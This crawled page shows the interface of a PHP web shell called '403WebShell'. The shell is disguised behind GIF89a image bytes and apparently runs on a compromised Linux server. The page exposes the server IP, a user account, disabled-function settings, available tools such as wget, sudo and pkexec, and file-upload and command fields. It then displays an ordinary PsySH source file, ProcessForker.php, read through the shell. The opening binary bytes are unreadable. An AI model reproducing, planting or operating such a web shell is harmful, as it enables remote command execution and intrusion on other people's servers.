GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 173.249.157.85  /  Your IP : 18.225.72.2
Web Server : Apache
System : Linux server.frogzhost.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User : econtech ( 1005)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/econtech/public_html/vendor/psy/psysh/src/ExecutionLoop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/econtech/public_html/vendor/psy/psysh/src/ExecutionLoop/ProcessForker.php
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2018 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\ExecutionLoop;

use Psy\Context;
use Psy\Exception\BreakException;
use Psy\Shell;

/**
 * An execution loop listener that forks the process before executing code.
 *
 * This is awesome, as the session won't die prematurely if user input includes
 * a fatal error, such as redeclaring a class or function.
 */
class ProcessForker extends AbstractListener
{
    private $savegame;
    private $up;

    /**
     * Process forker is supported if pcntl and posix extensions are available.
     *
     * @return bool
     */
    public static function isSupported()
    {
        return \function_exists('pcntl_signal') && \function_exists('posix_getpid');
    }

    /**
     * Forks into a master and a loop process.
     *
     * The loop process will handle the evaluation of all instructions, then
     * return its state via a socket upon completion.
     *
     * @param Shell $shell
     */
    public function beforeRun(Shell $shell)
    {
        list($up, $down) = \stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);

        if (!$up) {
            throw new \RuntimeException('Unable to create socket pair');
        }

        $pid = \pcntl_fork();
        if ($pid < 0) {
            throw new \RuntimeException('Unable to start execution loop');
        } elseif ($pid > 0) {
            // This is the main thread. We'll just wait for a while.

            // We won't be needing this one.
            \fclose($up);

            // Wait for a return value from the loop process.
            $read   = [$down];
            $write  = null;
            $except = null;

            do {
                $n = @\stream_select($read, $write, $except, null);

                if ($n === 0) {
                    throw new \RuntimeException('Process timed out waiting for execution loop');
                }

                if ($n === false) {
                    $err = \error_get_last();
                    if (!isset($err['message']) || \stripos($err['message'], 'interrupted system call') === false) {
                        $msg = $err['message'] ?
                            \sprintf('Error waiting for execution loop: %s', $err['message']) :
                            'Error waiting for execution loop';
                        throw new \RuntimeException($msg);
                    }
                }
            } while ($n < 1);

            $content = \stream_get_contents($down);
            \fclose($down);

            if ($content) {
                $shell->setScopeVariables(@\unserialize($content));
            }

            throw new BreakException('Exiting main thread');
        }

        // This is the child process. It's going to do all the work.
        if (\function_exists('setproctitle')) {
            setproctitle('psysh (loop)');
        }

        // We won't be needing this one.
        \fclose($down);

        // Save this; we'll need to close it in `afterRun`
        $this->up = $up;
    }

    /**
     * Create a savegame at the start of each loop iteration.
     *
     * @param Shell $shell
     */
    public function beforeLoop(Shell $shell)
    {
        $this->createSavegame();
    }

    /**
     * Clean up old savegames at the end of each loop iteration.
     *
     * @param Shell $shell
     */
    public function afterLoop(Shell $shell)
    {
        // if there's an old savegame hanging around, let's kill it.
        if (isset($this->savegame)) {
            \posix_kill($this->savegame, SIGKILL);
            \pcntl_signal_dispatch();
        }
    }

    /**
     * After the REPL session ends, send the scope variables back up to the main
     * thread (if this is a child thread).
     *
     * @param Shell $shell
     */
    public function afterRun(Shell $shell)
    {
        // We're a child thread. Send the scope variables back up to the main thread.
        if (isset($this->up)) {
            \fwrite($this->up, $this->serializeReturn($shell->getScopeVariables(false)));
            \fclose($this->up);

            \posix_kill(\posix_getpid(), SIGKILL);
        }
    }

    /**
     * Create a savegame fork.
     *
     * The savegame contains the current execution state, and can be resumed in
     * the event that the worker dies unexpectedly (for example, by encountering
     * a PHP fatal error).
     */
    private function createSavegame()
    {
        // the current process will become the savegame
        $this->savegame = \posix_getpid();

        $pid = \pcntl_fork();
        if ($pid < 0) {
            throw new \RuntimeException('Unable to create savegame fork');
        } elseif ($pid > 0) {
            // we're the savegame now... let's wait and see what happens
            \pcntl_waitpid($pid, $status);

            // worker exited cleanly, let's bail
            if (!\pcntl_wexitstatus($status)) {
                \posix_kill(\posix_getpid(), SIGKILL);
            }

            // worker didn't exit cleanly, we'll need to have another go
            $this->createSavegame();
        }
    }

    /**
     * Serialize all serializable return values.
     *
     * A naïve serialization will run into issues if there is a Closure or
     * SimpleXMLElement (among other things) in scope when exiting the execution
     * loop. We'll just ignore these unserializable classes, and serialize what
     * we can.
     *
     * @param array $return
     *
     * @return string
     */
    private function serializeReturn(array $return)
    {
        $serializable = [];

        foreach ($return as $key => $value) {
            // No need to return magic variables
            if (Context::isSpecialVariableName($key)) {
                continue;
            }

            // Resources and Closures don't error, but they don't serialize well either.
            if (\is_resource($value) || $value instanceof \Closure) {
                continue;
            }

            try {
                @\serialize($value);
                $serializable[$key] = $value;
            } catch (\Throwable $e) {
                // we'll just ignore this one...
            } catch (\Exception $e) {
                // and this one too...
                // @todo remove this once we don't support PHP 5.x anymore :)
            }
        }

        return @\serialize($serializable);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit